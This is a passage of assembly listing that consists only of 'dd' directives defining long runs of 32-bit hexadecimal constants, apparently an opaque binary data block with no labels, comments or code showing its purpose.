		dd 7EC09055h, 0C5E61D21h, 3E238786h, 5DDC070h, 7600D6ECh
		dd 0F67396C1h, 276BA138h, 78AEE18Ah, 0BA6C1480h, 8B589D41h
		dd 0BD249E94h, 0B2C8038h, 989E473Bh, 8CD50455h,	8180C293h
		dd 0A514687Ch, 8CB7B8h,	5746DEC7h, 4EE4A03Bh, 21274030h
		dd 7C165Ah, 66E3F173h, 0E54FF7A5h, 96DDBB00h, 0C00684C3h
		dd 379109AAh, 4C1111C2h, 92D0F41Ch, 0F9C6800h, 0F39F8549h
		dd 1398C08Fh, 1BE0430Ch, 69A22D02h, 449926A5h, 4B9E1698h
		dd 88A04B73h, 445F5804h, 1099585Ah, 176D1089h, 0F7C028CDh
		dd 48977750h, 840980C3h, 20727F79h, 0D03E4F4Bh,	80009A23h
		dd 39D47D5Ah, 0C79F4F7h, 87601CF0h, 54099E60h, 0A0DCBCDFh
		dd 9FA42690h, 9E149C53h, 89C46474h, 5C82F944h, 600E15ABh
		dd 0E6039BAEh, 0F0E84A5Ah, 78804AACh, 884FC3h, 0D4AB9CFCh
		dd 88B87BE4h, 0ED0E5918h, 4076CC58h, 0EA0B417Fh, 1A9E06D9h
		dd 677C843Ch, 0C98210D4h, 0C55076E1h, 0E0C4C289h, 71586120h
		dd 6473003Dh, 70D997B1h, 0BC4F3805h, 0CE23F42Eh, 0B0F6D404h
		dd 257054A4h, 8C17209Dh, 0C8823491h, 24444052h,	0A5A9CC03h
		dd 0A85D858Ch, 95F93FACh, 14EA78C4h, 4676F89Ch,	973C734Ch
		dd 0DEBFBAh, 0CF8378B3h, 0B0E71D94h, 0A18D2154h, 8B4A2991h
		dd 0C021C80Ch, 5B871967h, 30D958C4h, 0E9057433h, 4D07639Eh
		dd 5C0F7488h, 0ECD25416h, 0E848A0F0h, 0CFF1055Fh, 0C10AD0F4h
		dd 0C2090ACh, 0C37988E7h, 229FC47Ah, 0AE4D8990h, 203D9140h
		dd 95A0A72Eh, 0C5C6B4C2h, 9E09812Ch, 109BDBABh,	0B124B074h
		dd 214A9D38h, 4656982Eh, 764D009Dh, 35B0FC2h, 38DCFCA2h
		dd 115BC438h, 0C0C8705Ch
		dd 919497ADh, 0D1C280CCh, 28AB5EBEh, 0F08C407Dh, 87458644h
		dd 30BC3078h, 0B6E48Ch,	0D2575F2Eh, 1FE40661h, 13477517h
		dd 0DEA07021h, 0E879D000h, 612F0201h, 8AB5540Ah, 0E7F3C041h
		dd 8830AD11h, 804D65A0h, 92E45195h, 9D0953AAh, 744EFF5Bh
		dd 0E9CF8828h, 59080024h, 4414C974h, 4FC3A144h,	0A0A0C270h
		dd 74015451h, 99F2BF1Bh, 13656AF0h, 3040E1A9h, 0AAECB6F0h
		dd 5016E7ECh, 0B842E0CCh, 73E601Ah, 3F94C3E2h, 209E1902h
		dd 0E55355A8h, 2F498854h, 134467Ch, 0A39E998Eh,	0D46952F7h
		dd 31878810h, 139F6019h, 9B900E04h, 502821D2h, 4E60731Fh
		dd 0B3FB2042h, 0ADE06B5Ch, 2BF2E8F2h, 0F3FC830h, 0D80367BEh
		dd 89CAA21h, 7978A7B8h,	0FB803C7Ch, 7D3F0C3h, 2E0FB963h
		dd 0E4991050h, 20BE18F6h, 5DA35730h, 8047BE3Dh,	0EF39DC41h
		dd 128C4BBh, 9234E821h,	70EE0973h, 3700B344h, 97B8E18Ch
		dd 6E365ECh, 3B77696Ch,	0F500A125h, 2B64FEE7h, 0D98F12h
		dd 0C74576Ch, 462627E3h, 0EB039513h, 71363430h,	0C50207D5h
		dd 0E0213BC6h, 0C96BF6BBh, 0F75B4B13h, 30E89092h, 0A7125610h
		dd 308BD7B0h, 56086802h, 2860873Dh, 74804B0Bh, 112C20BBh
		dd 0D72EF67Ch, 6D841028h, 0BCCB3A47h, 57C122C8h, 0A0C0F938h
		dd 2B392003h, 4028BB0Ch, 0AE2911h, 3B33D178h, 0BCC825B6h
		dd 0F4C9F567h, 3EF63170h, 630A0054h, 162B4BDEh,	0C42EB543h
		dd 0C8005CE5h, 9CE12CDFh, 3BE00093h, 616E8E80h,	0BA4D646Ah
		dd 0FFD2B84Ch, 28DB1BE4h, 29901D67h, 284A0F7h, 42BAC3F3h
		dd 6F416C74h, 0DC7024B1h, 0D8804D9h, 0EF11905Ch, 0AB8E405Dh
		dd 9BD2C003h, 0F08419FBh, 15257D1Fh, 0C82A5A09h, 0EA5B0071h
		dd 12B3429Eh, 8009DDE4h, 82E14301h, 5D65F474h, 0B6F73C18h
		dd 5B9B8E07h, 0DF003128h, 4BE7A430h, 0C0C0E5D0h, 7353619Eh
		dd 23D04CE8h, 22E60190h, 1840A0D6h, 0DED58845h,	419D2201h
		dd 96BA93EBh, 1F48F1CCh, 2B59E11h, 0C74C8002h, 0DA280077h
		dd 2D7917C1h, 1C05A4ABh, 846CB803h, 50C028D5h, 6B1A3E7h
		dd 39E8FE60h, 58017E5Dh, 38B36FDDh, 406B5A28h, 207CD084h
		dd 0BD00C768h, 0F12E1921h, 1C524E4h, 0DB8A8974h, 38FE18A0h
		dd 8C9DBC08h, 0E6275900h, 3BB52237h, 9E1B387Ah,	0AABE6A85h
		dd 0B0AC6083h, 0E5424CC4h, 17AE9E00h, 74DAAAD7h, 3DC14BEh
		dd 0A4AF4531h, 5805CFCBh, 2011E33Bh, 6078CC43h,	0FE68E0FDh
		dd 1CC20082h, 11F26F1Ah, 0C96C0A8h, 0DE4A6640h,	59DB008Eh
		dd 8A17DDFAh, 9CF04BAFh, 509161Ch, 6AD47001h, 473F58EAh
		dd 92DA0FD0h, 0ECC0E3A1h, 2E01362Ah, 6F9D8EE6h,	0B8FC2CBAh
		dd 9F8F1EE4h, 0F3A9529Eh, 3050A2F0h, 84005725h,	0B036361h
		dd 16C9A7Bh, 13C37473h,	203F988Bh, 0FD262622h, 46742C83h
		dd 47A31F30h, 0C0A43C0h, 9E8C1B79h, 699E00ACh, 9D83CEF5h
		dd 0DDBC7317h, 0B42F40D3h, 0A447C70Bh, 0A0609A44h, 2B018398h
		dd 2E089225h, 0DC4810C2h, 0EBCE0011h, 99243036h, 190B9ECFh
		dd 88B80287h, 0AC844410h, 0E04EE89Bh, 0C09C0512h, 573EC0A8h
		dd 42037990h, 0BD09E7B1h, 26A101F8h, 0A52C033Ah, 0BF8BE848h
		dd 3E6BBA1Dh, 8F1DB53h,	0A963CD0h, 189C26EFh, 781A8B94h
		dd 0A0E20493h, 9C84B8DCh, 70952A5Bh, 517E54ACh,	2E6AC4F6h
		dd 0F2C234Ch, 6820BD28h, 20EA788Dh, 30A3952Eh, 662D0408h
		dd 0AA058956h, 0D8839582h, 9E35FC98h, 0C6D2D0Ch, 0B501B9C0h
		dd 0CD5C01A5h, 6116D132h, 927C4130h, 8BE61012h,	209C0FACh
		dd 0C9E9D0ECh, 0DB5E480h, 0C4A26803h, 465E5C76h, 0ACD400CFh
		dd 2E947CD6h, 0E750C1EAh, 2F961AA8h, 0BFF76445h, 0AE0408B9h
		dd 0C105E965h, 3F8A0F28h, 9A23E02Eh, 0B38C300h,	0AE320Ah
		dd 0E9618E73h, 0FDE13B02h, 5747C8C4h, 809814B0h, 0BC0B3859h
		dd 0B78A4903h, 49C1314h, 0FC023A8Ch, 616F028Ch,	0C457C9C1h
		dd 0C3300060h, 89E3166Bh, 0AE2E19BDh, 9FC0507Ch, 2D235A98h
		dd 0FCE4ABCAh, 195343A0h, 49735E32h, 81BC5C10h,	839FA4C8h
		dd 0BB8E20D3h, 2822D424h, 0A2523B64h, 19DD2C64h, 0CDA8400h
		dd 3D2DBF02h, 0D48023ADh, 2232C437h, 174E4BCAh,	9CF2D413h
		dd 58302EF2h, 0D0481D6Ch, 0FC666D5Ah, 0CED10499h, 20251E18h
		dd 11709D28h, 0EC7C8124h, 2F3EE048h, 45239Ch, 0BFD8B5F9h
		dd 9F1290ADh, 0F4E07773h, 1058060Fh, 31E6C5F7h,	4EC43085h
		dd 0F7048B60h, 521FCCE6h, 0C40965EAh, 0ED8FEECh, 6621612Fh
		dd 6B68594Ch, 40B79488h, 6B0B9EF5h, 0E7EF1C17h,	67A144FCh
		dd 0D8E0B7B0h, 55A70961h, 472CF94h, 28305A5Eh, 0A0492A6Bh
		dd 0B896D7DCh, 0AF260951h, 8E8DAD1h, 0E8B465Fh,	0B2C4F794h
		dd 9D1AE898h, 5B845896h, 78ACDC1Bh, 9E0E7053h, 0C8B99F4Bh
		dd 0F074242Ah, 467CD09Ch, 0D759132Fh, 0CD181E13h, 0C238C591h
		dd 27A3A071h, 1809A070h, 0E11C58D4h, 0A838CC38h, 0CE4BA04Ch
		dd 5A3DF94h, 8078CB15h,	4F1D5280h, 5B2EB20Ah, 9C9F7859h
		dd 0EDA00982h, 44B0C7E1h, 52AD609Ch, 7F7300F5h,	0B5EFBBE4h
		dd 0AC1826B9h, 46D89FFBh, 7B13925h, 0B8F93B93h,	0A8C08B84h
		dd 44A540DCh, 97E7588h,	0DE382D3Bh, 89147780h, 3209F5FFh
		dd 0A7E75B9Fh, 0DC13AC08h, 4D15AA9Ch, 5E1EE0C8h, 0A095AAF5h
		dd 5AF4A5ACh, 2FC4AB3h,	0E3E04088h, 0DD631A02h,	0F3FA101Bh
		dd 355B5201h, 442C087Bh, 0E46865A7h, 0C0FB62A0h, 0AE66FCAh
		dd 88B6A93Dh, 24942028h, 0AC2C50BFh, 8F41043Ch,	127082A0h
		dd 0B147802h, 0C00FD003h, 70033978h, 0AF2D221Dh, 86F9024Eh
		dd 0EF23DB4Ch, 0C5009046h, 0FD45C6D0h, 0E061CAA1h, 0E3D89816h
		dd 4F14023Bh, 90D8DFACh, 0BA217E00h, 873B652Dh,	420B099Ch
		dd 50700EAFh, 48809899h, 0C9B8FA88h, 0A427123Dh, 2020B097h
		dd 0FFC76D0Ah, 0D488E0EEh, 118D399Eh, 7BC9CC0Fh, 0C300E46Eh
		dd 26CEFCF9h, 925A66A2h, 0FA14B0F2h, 7E01FE3Fh,	0EDC82838h
		dd 18F3E43Ah, 54C48403h, 80D4F198h, 0B7489611h,	0F492AC05h
		dd 3B480980h, 0DBF51A54h, 0DC047EB8h, 9BA45801h, 0F60ABB7Ah
		dd 0BB149E8h, 2801BF8Ah, 0D064C847h, 768F2860h,	0DB0B1898h
		dd 47E09426h, 602DC4C0h, 263DBF4Ch, 0AF148DCAh,	98C81493h
		dd 0AC168C72h, 54B17157h, 0A088840Eh, 0B16ACBC0h, 98A1D95h
		dd 3E480A6Bh, 5A8B11B8h, 60538E2h, 0C0FF7705h, 733997D0h
		dd 74EDB102h, 7FDA57BBh, 0F80FDC02h, 12109321h,	86A5F180h
		dd 1EAD0D39h, 202DAF0h,	40E10B9Bh, 0B5A86438h, 0A1813835h
		dd 1E2B639Fh, 1124A022h, 45111C0h, 2BB79BA0h, 4140CCF4h
		dd 40083A17h, 44580B9Ah, 6489F8C0h, 4633738h, 965D1A21h
		dd 0AC031449h, 30036C1Eh, 82176160h, 64E8C5DCh,	103E3099h
		dd 0BFC0CC30h, 0E004E009h, 0B4F04031h, 3B84274Ch, 6F80E58Ch
		dd 575A815Bh, 3D77950Eh, 8B92B002h, 553AECD8h, 148140B5h
		dd 2AA9277Dh, 0B73C7878h, 39D310C2h, 0A826F116h, 0A5888054h
		dd 0E61DF29Fh, 0E5BA004Bh, 0F8EFD85Ah, 602758F9h, 7340A0BFh
		dd 8A27ECh, 4705F67Fh, 0F87901A2h, 4EEC577Ah, 0A9D67600h
		dd 67899F4Dh, 0D0624C19h, 17ABA4C2h, 0CC593801h, 0BD8A6434h
		dd 0B9803035h, 0A21891B7h, 0DB0A5EBFh, 9F568070h, 785A7830h
		dd 0DCB458B2h, 9C48CF50h, 0AC549230h, 8C1FF838h, 0C4634B01h
		dd 0D1279450h, 4334462Fh, 105A60F5h, 88A96C40h,	0CEF4FCh
		dd 8C29D6Bh, 0A389010Bh
		dd 0D3472E02h, 0F4802664h, 20EDE90h, 8107097Ch,	0C417A8B5h
		dd 9C0019FDh, 16090493h, 82918E7Bh, 828F7EFCh, 0BA5754h
		dd 632AA7C1h, 59FE7400h, 5C833EF0h, 0E470019Dh,	4ED373CCh
		dd 9B518539h, 1BA8D57h,	0F066E5FCh, 6CE6CAF2h, 94221E02h
		dd 628395D5h, 482957B6h, 0C82094D0h, 39E087Bh, 74016622h
		dd 98AA27C3h, 73BC0F3Eh, 7FD54C03h, 101D113Ch, 415F878Ch
		dd 14F39ED8h, 5A40842Fh, 0F897F8D3h, 50ACFBC1h,	59E9F200h
		dd 8CC1185Ah, 9800DEA4h, 4E5CBC21h, 0B4004AFBh,	0B963AF5h
		dd 229C5F1Dh, 911FE2A8h, 52188122h, 6AFC7EC6h, 6670027Ah
		dd 3CB3474Eh, 149E30D8h, 747465Eh, 9A7D4A91h, 90F27280h
		dd 21A248Ah, 93AC042Fh,	0C834AC14h, 7E344817h, 165E0200h
		dd 3563B270h, 0A0B60446h, 0AB2FDFA3h, 0AA9B7C38h, 0BC8DECCh
		dd 3C70F95Ah, 0AF104742h, 0C0D9C81Dh, 0A00B02A9h, 80A89C53h
		dd 0CF0291D5h, 3D122C35h, 65590448h, 32308153h,	911A10DAh
		dd 4E8B20Ah, 7C601CF1h,	0F6809C7Fh, 0F490B15Eh,	724B9E06h
		dd 0DB40C98Bh, 0F5614830h, 100BC9FEh, 56CE5ED5h, 0BFF4FC8h
		dd 70709BA3h, 836DD93Bh, 1A884BD5h, 15B11E95h, 0E30309C2h
		dd 6740005Eh, 1734D62Eh, 0CBEF8522h, 16AB017Ch,	9C1AA4F5h
		dd 0BF86D429h, 640111DDh, 406BBECAh, 8C6B808Dh,	5501A928h
		dd 0CC50C246h, 1C39F0D0h, 833A0605h, 3830AEC0h,	0F7FD2B9Bh
		dd 4E27A860h, 9E1C4F20h, 0D44CD705h, 10DC80B4h,	0ACBE9A2Dh
		dd 1B7885B9h, 0FC0116F8h, 176BCA11h, 2C507434h,	0BE849F9Ch
		dd 0C8E94B2Dh, 68407A11h, 6E84C3Dh, 89513DFFh, 0BEA64680h
		dd 1FF66068h, 6C0E156h,	2A9CB378h, 1AF88068h, 55410B54h
		dd 0AC59A8F5h, 0AA9FB900h, 0BFE9D7A4h, 2C91541Dh, 80DD1D9Fh
		dd 72A3F8AFh, 410B59C8h, 767C1CE3h, 0BA9800C0h,	0DF761FE9h
		dd 340FDA24h, 329F308h,	10381B79h, 7455A824h, 81AE9F0Eh
		dd 5C94B0F5h, 5BA02C64h, 60E4A56Bh, 0D8B0145Ch,	6797777Dh
		dd 144E6290h, 14F2018h,	727D4CBAh, 2E1195DDh, 0ECEBB847h
		dd 0C0880C52h, 0ECB5EED3h, 6B6C0361h, 11D76EE4h, 0C12789D3h
		dd 1DECB7E2h, 9EE90788h, 30410B61h, 9BBB1060h, 9C7F0B80h
		dd 9056CC96h, 25E09E08h, 0F47BE471h, 4CF5CE60h,	0EAA05124h
		dd 2126E09h, 0FE2953DCh, 9CD58854h, 0FE471831h,	824CB443h
		dd 0D9C8791Fh, 87F71942h, 0A1268E51h, 9800803Dh, 2EDCB811h
		dd 0F09019D8h, 6E88587Ah, 41AD1C1Fh, 47E8079Ah,	3084A75Ch
		dd 90DA8C23h, 0DF282600h, 881A7391h, 11E1058Bh,	0ACD9A9EBh
		dd 9F800D0h, 0A219C0EEh, 25224ED0h, 0F244F224h,	0F0463042h
		dd 389A3902h, 0A1DA5F9Ch, 0E30F0E90h, 930EF06Ch, 2036C1BDh
		dd 0AFABA0A8h, 0A0444C4Ah, 44BAD3DBh, 6318F78h,	4319C58h
		dd 3AE952BBh, 8CA285h, 0C3C63B32h, 0A7E7DCh, 0A934DA98h
		dd 424892C2h, 4962EC96h, 0A74070ABh, 602EC4DCh,	367AF2h
		dd 2DC841FCh, 0E0564047h, 46763096h, 0B8F10724h, 79F2B377h
		dd 0E04D17Fh, 5C90EF94h, 9FFD201Ch, 0D3B88410h,	2E24B200h
		dd 0EC1B6885h, 0FEDF003Bh, 76D0CB5Fh, 70F56E56h, 99760BCh
		dd 70C87BA8h, 3898345Eh, 4C7D5026h, 405D678Fh, 10C07B5Fh
		dd 0D891D0DAh, 0ED3FAF12h, 0AF688838h, 820130C4h, 0BF9345ADh
		dd 0A8CCC4D8h, 0D63C16C8h, 10010F11h, 401F17C9h, 15804C11h
		dd 539CB6ADh, 0EA265E00h, 0A9DB2AAh, 8B56775h, 0C01065D2h
		dd 0BC4C08F5h, 80D435BFh, 4EBADEF7h, 44083D73h,	15E18996h
		dd 0F24A9C0Fh, 984600B0h, 0A3B1B8EFh, 5BB300ACh, 87834BA0h
		dd 0DE09EC9Dh, 103B5AD5h, 193708h, 2BA54951h, 0B9AFB77h
		dd 7D938E07h, 0BC97DEDBh, 43022C4Ah, 40245BCBh,	54F1EEE8h
		dd 5C2426h, 0B41FD1Ah, 925F1F85h, 21058403h, 8B3ABC2Bh
		dd 4428E117h, 3FDA2820h, 29029503h, 8A37680Eh, 9C7178D9h
		dd 5100FC18h, 0C33E58ACh, 98A40CEh, 3103A0DFh, 6F095878h
		dd 7C3AD20Fh, 558D6A8h,	71F2F64h, 743B1034h, 93BC3D54h
		dd 0E4382A24h, 0CC42413Bh, 4874F91Ch, 0A05F0976h, 7CD0E7A3h
		dd 30DED7F3h, 7E9F3344h, 0BB722598h, 49E62890h,	4840E127h
		dd 90D9508h, 23939E9Ch,	6B0030D8h, 0EE50CA41h, 71933F6h
		dd 0B965687h, 0BC713B2Dh, 1720FE1Dh, 0F8D82F9Bh, 64D85F10h
		dd 794491BBh, 35418CFh,	3C886481h, 7ED195BAh, 9F803173h
		dd 574B4760h, 1A088B8Dh, 41CDF90h, 1B5B3505h, 28C71D20h
		dd 0DCC79C42h, 40C0183Ch, 0C08AD2DBh, 2769AACCh, 1C1AC377h
		dd 50C47465h, 39A85563h, 8C4A972Fh, 0B2053420h,	4CB7011Dh
		dd 58ECFA59h, 37D05199h, 7269DCF3h, 0F9F00700h,	0E667AC8Fh
		dd 477DBFh, 0C1F5647Fh,	7361A8BEh, 0ACC20604h, 0CCF8B721h
		dd 93800F88h, 0A4FD5F55h, 0DEFE3FA7h, 0F1229581h, 502BA36Ah
		dd 1CB35ADCh, 380B7E5Ah, 2020E692h, 44BC7A68h, 2C949Dh
		dd 0CDE2DFCh, 0FB37C460h, 752090C2h, 12547C67h,	0A9280488h
		dd 9DAF2053h, 76109CE0h, 0FF518FDh, 71F2AF56h, 8A3EEBC0h
		dd 0DF5C6BC9h, 1C314E6Ch, 7760664Dh, 0AB732Ch, 0B7DC63B8h
		dd 8A2611CDh, 74A84A9Dh, 2E465E68h, 77276A05h, 442C8261h
		dd 3B402448h, 0CC998092h, 44181FD1h, 4AC82238h,	0A45E88E0h
		dd 0C0E84FE4h, 0AF9418E8h, 0D34600E9h, 0E46F50C8h, 639E1208h
		dd 124CB8F3h, 30A86ADBh, 981B5A81h, 2BA1911Ch, 0BF6B2F0Fh
		dd 5018EA69h, 80064C5h,	7087C341h, 1F204C2Dh, 809DEA10h
		dd 0C627A6C4h, 0BB126164h, 90B41AA8h, 0AA81445Dh, 0F830834Bh
		dd 197B16Ch, 3D31D999h,	0C4914101h, 824BAABEh, 0D6A0DC01h
		dd 9C784956h, 15431FBCh, 0D4A55D0Ah, 86140884h,	0F3AB9E02h
		dd 0EC3AF52Dh, 4C3BB440h, 9DB40280h, 646AE448h,	569090C9h
		dd 55E54050h, 3705542Ch, 0D90BA02Ah, 8A27A0FCh,	0DC40BC58h
		dd 0D2B50F0Eh, 298B4CBCh, 2EF13C71h, 4A009418h,	0BBBE5195h
		dd 0E8792A65h, 0B9D66753h, 0DA811CA3h, 0D1E0E1B7h, 40B87310h
		dd 58E2835Eh, 0B0C0233Eh, 0A974CC34h, 28B49884h, 839E7626h
		dd 0C7800EC8h, 1AEC122Dh, 9B940220h, 0AB910347h, 47DC9F91h
		dd 89BFB6D4h, 9C1D6FF8h, 0B42AF00Bh, 5005AB17h,	8000CECh
		dd 7DBFC203h, 12393836h, 0E0858265h, 7DD64A43h,	29E4B40Eh
		dd 85054EFh, 52FD8ABh, 24886026h, 2264A9A0h, 9C8EBDD0h
		dd 0C0AE2F31h, 814A4F8Ch, 431C4889h, 5CC402B7h,	0AE1802B6h
		dd 3A08ACD4h, 94E30066h, 0E86B9E1Dh, 8F28DD58h,	27D0EB88h
		dd 5392A914h, 0CB389BE4h, 62F94F45h, 44D461B4h,	0AA174460h
		dd 0C17B4E74h, 325B9EBCh, 98E04E50h, 59CCB41Eh,	1166F103h
		dd 8DFFE4CBh, 53B831FBh, 143ED0F4h, 0EC7F1F5Ah,	9470C229h
		dd 55319026h, 3C95E1E1h, 12627A48h, 0DAA4AAB8h,	47562CF8h
		dd 196700A4h, 7A0AB5F3h, 9E04A200h, 0E302D754h,	7FECFE8Fh
		dd 3EE91F1Ch, 937EC012h, 7094E189h, 0B1388518h,	493B20h
		dd 355A6326h, 0AAF0BA93h, 9174D6EEh, 6AE55912h,	10AFCF4h
		dd 6641C216h, 70E0C696h, 0F1F8ED5Eh, 0B9D20B15h, 0B12900FCh
		dd 0D68BE658h, 22601610h, 0F0E4E644h, 2F4B9F4Eh, 7801453Bh
		dd 0E8D0C4h, 130F1F9Eh,	0FCE42AB1h, 3684AE40h, 6608811Eh
		dd 0A50887F9h, 3D827E63h, 646026Eh, 59140840h, 0F8B310CFh
		dd 80719508h, 38C4FFA1h, 32068F1Fh, 8A201014h, 0E1C377Ah
		dd 2B31DC40h, 3608A163h
		dd 9828102Fh, 0A65918A2h, 81BCD908h, 63518C51h,	0C4E1088Eh
		dd 6AEF549h, 63A15BC5h,	0C1B248F7h, 0C2A93162h,	908B02CCh
		dd 189CD103h, 30FBD308h, 878082BFh, 0F271809Dh,	1BFE18C6h
		dd 0A1EA6908h, 2E206A0Ch, 64DF1640h, 468518Ah, 90042D7Ch
		dd 13D81D57h, 80966210h, 46802C34h, 0FCE3806Dh,	0CC950680h
		dd 9C089759h, 0FE91BB66h, 6F9D2020h, 6392F120h,	0F60591E6h
		dd 0A7310815h, 89331C0h, 9901C51Eh, 50CA01CEh, 0E0A22302h
		dd 3E077B54h, 6F34409Ch, 9E081803h, 9883F30Ah, 39106B90h
		dd 311F3174h, 0CA010A28h, 2D109820h, 81648771h,	6C9C53C7h
		dd 0B8ECB92Ah, 8734D31h, 20882227h, 0C8087A71h,	610708C6h
		dd 0CF1DE08h, 7C51C292h, 0BCCC08C4h, 92FCA70Ah,	0E654448Bh
		dd 0B10B0CA4h, 0BC41CCC9h, 649230A9h, 12C451F7h, 0D718880Fh
		dd 99B9B39Ah, 0CF3093DCh, 0EC72082Ah, 0BA690763h, 2008181Fh
		dd 785818D0h, 9F0F08C4h, 1DB93E04h, 6710B0D0h, 390A318Fh
		dd 0D202C8DEh, 0A630CCA2h, 8891EC04h, 0F85317C6h, 0D3081818h
		dd 2AED1867h, 81131C80h, 24985242h, 0FDCBD8A3h,	0EAC09954h
		dd 0C4C5CC40h, 0F668D31h, 26F179F6h, 465F1892h,	51B46E74h
		dd 54F98940h, 0CC85B4C7h, 0BB08A049h, 0DE62BC92h, 2A8F9B9h
		dd 2F031A20h, 66201007h, 19C67E51h, 3210B58Ch, 61087D33h
		dd 51568449h, 3FAFED8h,	54088E2Bh, 92DCD8F3h, 0A9A52024h
		dd 94D47B54h, 0C9C66E40h, 60223A21h, 8F02C3DBh,	0F51A0398h
		dd 0A3262012h, 16BC9C51h, 6C5104BBh, 0A11B1080h, 8691CC31h
		dd 0BE9824BAh, 0A8890492h, 0B7D4529Ch, 827C0469h, 44A8B3A9h
		dd 5A46410h, 0B955980Ah, 7801AAECh, 0F11D9752h,	3A1000C7h
		dd 43AC78D2h, 7904253Eh, 7F0FF785h, 0E03BC4D3h,	76D118h
		dd 391DE068h, 0AC9D6293h, 9E0F6503h, 0AC632926h, 903194E5h
		dd 77119E0h, 2F44236Dh,	8DC04ECCh, 88E732B0h, 0D2EFC800h
		dd 0F740A893h, 2CE839E0h, 0F80060BFh, 98376B45h, 0CF00E4BFh
		dd 5614F27h, 0CF4EAC3h,	95B1403Dh, 214E9868h, 3EC2CC90h
		dd 9C5F0F10h, 32ACC00Fh, 0C2D6118h, 1068A02Fh, 9D37A7FEh
		dd 4C8F84Bh, 0C9BFAA65h, 98649758h, 0ECD9036Dh,	4E20C01Dh
		dd 0BB944801h, 281F2116h, 3FDE1C4h, 0ECCA1144h,	58069E65h
		dd 0E091960Fh, 188AF468h, 609D6E28h, 49955098h,	403F59E0h
		dd 70FFAA0Ch, 50A00460h, 5F54CD18h, 33314058h, 0DC9A38B1h
		dd 0FD706882h, 0B4D06AD8h, 7190B61h, 0FE05B2Fh,	6F9B333Dh
		dd 10087968h, 8372F1C0h, 0F621401Eh, 90EC5000h,	4EBF38B0h
		dd 0FE94A8A7h, 0E51200F7h, 5F5E6292h, 7700311Eh, 56988388h
		dd 6BFD9E14h, 0F0F62848h, 0EAB600BEh, 18E5ABDBh, 0A00D010Eh
		dd 7127B146h, 78D88662h, 3FE8FD30h, 0B78AD8A7h,	0A70E75Fh
		dd 4F8C5798h, 24002C89h, 0BF5864FCh, 0E891DE0Ah, 2884DC49h
		dd 7900C1FEh, 820A0F3Ch, 0DACB2B24h, 46140502h,	0B1AF40FAh
		dd 0F49E5C59h, 5D2E1Eh,	82BD64C1h, 7D02F10Ch, 0CF59110Fh
		dd 28C080DDh, 1256976Dh, 6FD4244h, 7032880Eh, 0D1FAAE00h
		dd 2287D2D0h, 0BC4018E0h, 27BFA8A8h, 6C0060EAh,	0C7935F2Eh
		dd 90A3D9EDh, 47D33910h, 6364287h, 7F107102h, 6288208Dh
		dd 0A8B96500h, 19CD2C56h, 599700D9h, 0A30A5139h, 0ED009028h
		dd 78DAC191h, 3E40A43Eh, 13036ED0h, 834C597Dh, 650F38E0h
		dd 883C53h, 259F5EAFh, 0A87047B1h, 50A5C0B8h, 0AA7A884h
		dd 0E093FD10h, 1F0D0118h, 20544671h, 4D48750Ch,	72EB806Ch
		dd 889912h, 39A89ABAh, 0F169C7DCh, 45425709h, 4215540h
		dd 20F7E7C0h, 0A800A600h, 7716BC55h, 40E0EF43h,	0DF091AF8h
		dd 20CE5DBBh, 565E4B0h,	37320307h, 0FDD98E3Bh, 0B0C009D5h
		dd 0D5580C01h, 24C03F2Bh, 485FB5A0h, 968010E9h,	6C10DC55h
		dd 9EFC8095h, 0AC71FD80h, 0E8031414h, 0A609E1D9h, 2C00E0C8h
		dd 0E7347F28h, 0B1076003h, 0E047B94Ah, 3E49F2B7h, 0F7008F3Ah
		dd 31BA14FFh, 0A7025CA0h, 38BF5628h, 8A8C8018h,	12D14A6Dh
		dd 40FA0F49h, 0F49DB5ECh, 3651BB65h, 0DF108370h, 0C82CCBFh
		dd 0DE3DDA38h, 0E73010E0h, 0C00D38AAh, 0B86D5238h, 5F03F853h
		dd 0FB40D88Ah, 0B0F81A8Dh, 880C584Ch, 1119B5FDh, 3DC3040h
		dd 0B11C7878h, 20712F26h, 8C2340C1h, 58E42083h,	88054DB5h
		dd 59C005D9h, 678CF840h, 0C0A3AD40h, 865CCC1h, 0BA4B49C0h
		dd 0EFB54840h, 851161h,	0FB335994h, 44E96055h, 693EBF13h
		dd 49C42854h, 0E40B0180h, 53982378h, 6114E822h,	923F4C03h
		dd 6AA8FDBEh, 96D526E0h, 406E0388h, 3001F490h, 2665CD88h
		dd 9F4FE21h, 42543298h,	0DC689F91h, 80C8E7D4h, 0D8C00084h
		dd 8B5944A4h, 72E87361h, 87DC03BBh, 60ED2EBEh, 2948008Eh
		dd 576AA06Bh, 28D21931h, 6259A8h, 8809228h, 0ACE6C007h
		dd 14582F00h, 3A4AE8Dh,	0E01D17A0h, 0B6C86418h,	0FB26ECC7h
		dd 3E2CDBh, 60D1E565h, 387E140Dh, 0CB0A0688h, 2878DBA5h
		dd 1B03E718h, 0CC388DEDh, 463057B1h, 0B0D8E024h, 77AB3BBDh
		dd 56580C80h, 0EC187E1Ah, 0BC21009h, 0B0748D0Fh, 0F68BA030h
		dd 2CF54CB6h, 5D659200h, 576B6211h, 70EE412Bh, 443A9601h
		dd 0AC412092h, 7FE72D40h, 0A7860018h, 0E8EA89D3h, 2F01123Ah
		dd 0DBB1585Dh, 0DC57C810h, 0DDB283h, 0E9C42550h, 0DA0D1828h
		dd 57BE2006h, 48280679h, 581244A6h, 0C27C411Fh,	0C893106Fh
		dd 0A8C7F1FAh, 49CF5796h, 2848A1A9h, 0D0E0A852h, 668DE0Eh
		dd 4851FE11h, 2C645A24h, 0FCD69E44h, 5BDA2C50h,	0F7B0849Ch
		dd 80388470h, 3471082Ch, 8360863Fh, 5403ECDFh, 4073D240h
		dd 0A2D6A8h, 31978E0Eh,	61D06F22h, 87ABD800h, 1BF373FEh
		dd 326A0001h, 0E0CECEDh, 4828F527h, 0DC9BDC56h,	0C1E96180h
		dd 17415AE0h, 4B07BA40h, 0A801D40h, 52A8C627h, 8E8BEC01h
		dd 0B1447F58h, 6D04EEEh, 7B575418h, 9F5DC8A5h, 0F690091Ch
		dd 95E0274Dh, 0B91C59ACh, 21B4246Ch, 2F2E24E8h,	34798C00h
		dd 43F10B0Fh, 0D2C00650h, 2C98D8A4h, 8A0FEE2h, 7D33C011h
		dd 30632827h, 40609690h, 0C0920648h, 28DA123Ch,	0EF2034EAh
		dd 0CC59183Eh, 0AD6FB099h, 0F3C044A0h, 0EC914340h, 0E02602D7h
		dd 0E7E4AE8Eh, 607F5641h, 6B02A004h, 9D4048A9h,	0E1346114h
		dd 92274062h, 614C7C50h, 0C0BEA2F8h, 91A6A568h,	423D8608h
		dd 0F0B0F983h, 258E117h, 24205CA1h, 98F140CEh, 0DF5D1B26h
